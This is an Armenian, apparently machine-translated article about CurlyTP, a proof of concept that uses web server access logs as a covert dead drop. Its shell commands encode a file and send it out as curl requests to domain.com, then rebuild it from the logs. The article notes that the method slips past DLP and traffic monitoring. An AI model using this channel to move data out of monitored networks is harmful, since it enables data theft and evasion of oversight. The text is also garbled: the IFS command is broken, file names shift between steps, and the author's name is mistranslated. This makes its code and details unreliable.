Վիքիպեդիայի սահմանման համաձայն՝ մեռած կաթիլը դավադրության գործիք է, որը ծառայում է գաղտնի տեղանք օգտագործող մարդկանց միջև տեղեկատվության կամ որոշ իրերի փոխանակմանը։ Գաղափարն այն է, որ մարդիկ երբեք չեն հանդիպում, բայց նրանք դեռ տեղեկատվություն են փոխանակում՝ գործառնական անվտանգությունը պահպանելու համար:

Թաքստոցը չպետք է ուշադրություն գրավի։ Հետևաբար, օֆլայն աշխարհում նրանք հաճախ օգտագործում են զուսպ բաներ՝ չամրացված աղյուս պատի մեջ, գրադարանի գիրք կամ ծառի խոռոչ:

Ինտերնետում կան բազմաթիվ գաղտնագրման և անանունացման գործիքներ, սակայն ուշադրություն է գրավում հենց այդ գործիքների օգտագործման փաստը: Բացի այդ, դրանք կարող են արգելափակվել կորպորատիվ կամ պետական ​​մակարդակով: Ինչ անել?

Ծրագրավորող Ռայան Ֆլաուերսն առաջարկել է հետաքրքիր տարբերակ. օգտագործել ցանկացած վեբ սերվեր որպես թաքստոց. Եթե ​​մտածեք դրա մասին, ի՞նչ է անում վեբ սերվերը: Ստանում է հարցումներ, թողարկում է ֆայլեր և գրում տեղեկամատյաններ: Եվ այն գրանցում է բոլոր հարցումները, նույնիսկ սխալները!

Պարզվում է, որ ցանկացած վեբ սերվեր թույլ է տալիս գրանցամատյանում պահել գրեթե ցանկացած հաղորդագրություն: Ծաղիկները մտածում էին, թե ինչպես օգտագործել սա:

Նա առաջարկում է այս տարբերակը.

1. Վերցրեք տեքստային ֆայլ (գաղտնի հաղորդագրություն) և հաշվարկեք հեշը (md5sum):
2. Մենք այն կոդավորում ենք (gzip+uuecode):
3. Մենք գրում ենք մատյան՝ օգտագործելով սերվերին ուղղված միտումնավոր սխալ հարցումը:

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Ֆայլը կարդալու համար դուք պետք է կատարեք այս գործողությունները հակառակ հերթականությամբ.

Տարածքները փոխարինված են =+=որպեսզի հասցեում բացատներ չլինեն։ Ծրագիրը, որը հեղինակն անվանում է CurlyTP, օգտագործում է base64 կոդավորումը, ինչպես էլփոստի հավելվածները: Հարցումը կատարվում է բանալի բառով ?transfer?որպեսզի ստացողը հեշտությամբ գտնի այն տեղեկամատյաններում:

Ի՞նչ ենք մենք տեսնում այս դեպքում գրանցամատյաններում:

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Ինչպես արդեն նշվեց, գաղտնի հաղորդագրություն ստանալու համար անհրաժեշտ է գործողությունները կատարել հակառակ հերթականությամբ.

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Գործընթացը հեշտ է ավտոմատացնել: Md5sum-ը համընկնում է, և ֆայլի բովանդակությունը հաստատում է, որ ամեն ինչ ճիշտ է վերծանվել:

Մեթոդը շատ պարզ է. «Այս վարժության նպատակը պարզապես ապացուցելն է, որ ֆայլերը կարող են փոխանցվել անմեղ փոքրիկ վեբ հարցումների միջոցով, և այն աշխատում է ցանկացած վեբ սերվերի վրա՝ պարզ տեքստային տեղեկամատյաններով: Ըստ էության, յուրաքանչյուր վեբ սերվեր թաքստոց է»,- գրում է Flowers-ը։

Իհարկե, մեթոդն աշխատում է միայն այն դեպքում, եթե ստացողը մուտք ունի սերվերի տեղեկամատյաններ: Բայց այդպիսի մուտքն ապահովված է, օրինակ, շատ հոսթերների կողմից:

Ինչպե՞ս օգտագործել այն:

Ռայան Ֆլաուերսն ասում է, որ ինքը տեղեկատվական անվտանգության փորձագետ չէ և չի կազմի CurlyTP-ի հնարավոր օգտագործման ցանկը: Նրա համար դա պարզապես հայեցակարգի ապացույց է, որ ծանոթ գործիքները, որոնք մենք տեսնում ենք ամեն օր, կարող են օգտագործվել ոչ սովորական ձևով:

Փաստորեն, այս մեթոդն ունի մի շարք առավելություններ այլ սերվերի «թաքնվածների» նկատմամբ, ինչպիսիք են Digital Dead Drop կամ PirateBoxԱյն չի պահանջում հատուկ կոնֆիգուրացիա սերվերի կողմից կամ որևէ հատուկ արձանագրություն և կասկած չի հարուցի նրանց մոտ, ովքեր վերահսկում են երթևեկությունը: Քիչ հավանական է, որ SORM կամ DLP համակարգը սկանավորի URL-ները սեղմված տեքստային ֆայլերի համար:

Սա ծառայության ֆայլերի միջոցով հաղորդագրություններ փոխանցելու եղանակներից մեկն է: Դուք կարող եք հիշել, թե ինչպես էին որոշ առաջադեմ ընկերություններ տեղադրում Մշակողի աշխատատեղեր HTTP վերնագրերում կամ HTML էջերի կոդում։

Գաղափարն այն էր, որ միայն վեբ մշակողները կտեսնեն այս Զատկի ձուն, քանի որ նորմալ մարդը չի նայի վերնագրերին կամ HTML կոդը:

Source: www.habr.com